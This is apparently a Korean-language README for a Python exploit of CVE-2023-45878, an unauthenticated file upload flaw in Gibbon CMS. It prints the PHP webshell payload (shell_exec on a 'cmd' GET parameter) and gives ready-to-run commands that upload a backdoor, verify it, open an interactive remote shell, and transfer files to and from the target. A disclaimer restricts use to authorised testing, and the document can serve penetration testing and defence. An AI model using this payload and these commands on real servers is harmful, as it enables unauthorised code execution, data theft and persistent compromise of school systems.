
CVE-2023-45878을 위한 자동화된 Python 익스플로잇, Gibbon CMS의 인증되지 않은 파일 업로드 취약점으로, 대화형 쉘 및 파일 전송 기능을 갖춘 PHP 웹쉘 배포를 통해 원격 코드 실행을 가능하게 합니다.
이 Python 스크립트는 Gibbon CMS 버전 25.0.1 이하에서 인증 없이 임의 파일 업로드가 가능한 취약점인 CVE-2023-45878을 악용하여 원격 코드 실행(RCE)을 수행합니다.
CVE-2023-45878은 Gibbon CMS의 rubrics_visualise_saveAjax.php 엔드포인트에 존재합니다. 이 엔드포인트는 인증을 요구하지 않으며 임의 파일 쓰기를 허용하기 때문에 취약합니다.
취약점은 다음으로 인해 발생합니다.
modules/Rubrics/rubrics_visualise_saveAjax.php 엔드포인트는 인증 없이 접근할 수 있습니다.img, path, gibbonPersonID POST 파라미터를 허용합니다.
img 파라미터는 특별히 포맷된 데이터를 포함해야 하며, 쉼표 뒤의 부분은 base64로 인코딩된 문자열입니다.path 파라미터가 제공되면 Gibbon 설치 디렉토리를 기준으로 업로드된 파일의 대상 파일명으로 사용됩니다.img 파라미터에서 base64로 인코딩된 콘텐츠를 디코딩하여 path 파라미터로 지정된 파일에 씁니다.img 파라미터(PHP 코드가 base64로 인코딩된 예: <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>)를 조작하고 웹 서버를 통해 접근 가능한 .php 파일이 되는 path를 지정함으로써 공격자는 PHP 웹쉘을 업로드하고 취약한 서버에서 원격 코드 실행을 달성할 수 있습니다.이 Python 스크립트는 CVE-2023-45878의 익스플로잇을 자동화합니다. 다음 작업을 수행합니다.
modules/Rubrics/rubrics_visualise_saveAjax.php에 악의적인 POST 요청을 조작하여 PHP 웹쉘을 업로드합니다. 웹쉘 페이로드는 <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>이며, {VERIFY_TAG}는 사용자 정의 가능한 태그입니다. 페이로드는 base64로 인코딩되어 img 파라미터 내에 전송됩니다.cmd=echo)를 포함하는 GET 요청을 보내고 응답에서 VERIFY_TAG를 확인하여 업로드된 쉘이 접근 가능하고 기능하는지 검증할 수 있습니다. 또한 --verify 또는 --interactive 옵션이 사용되면 기존 쉘에 대한 사전 확인을 수행합니다.user@host:cwd$)를 표시하는 동적 프롬프트를 제공합니다.cd 명령어의 내장 처리를 지원합니다.!help: 대화형 명령어에 대한 도움말을 표시합니다.python3 exploit.py <target_url> [options]
인자:
target_url: 대상 Gibbon CMS 인스턴스의 기본 URL입니다. 스크립트는 스킴이 제공되지 않으면 http://를 앞에 추가하고 후행 슬래시를 보장합니다 (예: http://example.com/gibbon 또는 example.com/gibbon).옵션:
-s <shell_path>, --shell-path <shell_path>:
업로드할 쉘의 원하는 경로와 파일명을 지정합니다 (예: shell.php, uploads/shell.php).
생략하면 Gibbon 기본 디렉토리에 무작위 8자 파일명에 .php 확장자가 생성됩니다.
경고: 지정된 경로가 웹 서버에 의해 쓰기 가능하고 웹을 통해 접근 가능한지 확인하십시오.-v, --verify:
쉘 업로드를 시도한 후 작동하는지 확인합니다. 이 옵션은 또한 지정된 이름과 태그를 가진 쉘이 이미 존재하는지 사전 확인을 트리거합니다. 존재하는 경우 업로드를 건너뜁니다.-i, --interactive:
대화형 쉘 모드로 진입합니다. 쉘이 이미 존재하지 않는 경우(사전 확인으로 확인), 먼저 업로드 및 검증됩니다.-t <tag>, --tag <tag>:
검증 목적으로 웹쉘 페이로드에 사용되는 사용자 정의 정적 태그를 지정합니다. (기본값: ExploitGibbon).--timeout <timeout>:
HTTP 요청 제한 시간(초)을 설정합니다. (기본값: 20).예제:
기본 익스플로잇, 기본 Gibbon 디렉토리에 무작위 쉘 이름 및 기본 태그:
python3 exploit.py http://target.com/gibbon/
익스플로잇, 기본 Gibbon 디렉토리에 쉘 파일명 my_shell.php 지정 및 기본 태그:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
익스플로잇, 쉘 파일 backdoor.php를 uploads/에 업로드, 검증 및 사용자 정의 태그 사용:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
익스플로잇, 쉘 업로드 및 기본 태그와 30초 제한 시간으로 대화형 모드 진입:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
기존 쉘로 대화형 모드 진입 (스크립트가 존재 여부를 사전 확인):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
existing_shell.php라는 쉘이 기본 태그로 활성화되어 있는지만 확인 (없으면 업로드 시도):
dataclasses, pathlib 사용 때문)requests 라이브러리: pip install requests로 설치rich 라이브러리: pip install rich로 설치prompt_toolkit 라이브러리 (선택 사항, 향상된 대화형 모드용): pip install prompt_toolkit로 설치이 스크립트는 교육 및 보안 테스트 목적으로만 제공됩니다. 사용에 따른 책임은 사용자 본인에게 있으며, 명시적인 테스트 허가를 받은 시스템에 대해서만 사용하십시오. 저자는 이 스크립트의 오용이나 손해에 대해 책임을 지지 않습니다. 승인 없이 취약점을 악용하는 것은 불법이며 비윤리적입니다.
!upload <local_path> [remote_path]: 웹쉘을 통해 로컬 파일을 대상 서버에 업로드합니다.!download <remote_path> [local_path]: 대상 서버에서 파일을 다운로드합니다.!lcd <path>: 로컬 현재 작업 디렉토리를 변경합니다.!ldir [path]: 로컬 현재 작업 디렉토리 또는 지정된 경로의 파일 및 디렉토리를 나열합니다.prompt_toolkit 라이브러리를 사용하여 향상된 명령줄 경험(히스토리, 개선된 편집)을 제공하며, 그렇지 않으면 Python 내장 input()으로 대체합니다.!upload 명령어는 취약한 엔드포인트를 재사용하여 임의 파일을 쓰고, !download 명령어는 웹쉘을 통해 실행된 시스템 명령어(예: base64 또는 PowerShell의 [Convert]::ToBase64String)를 사용하여 파일 콘텐츠를 검색합니다.python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v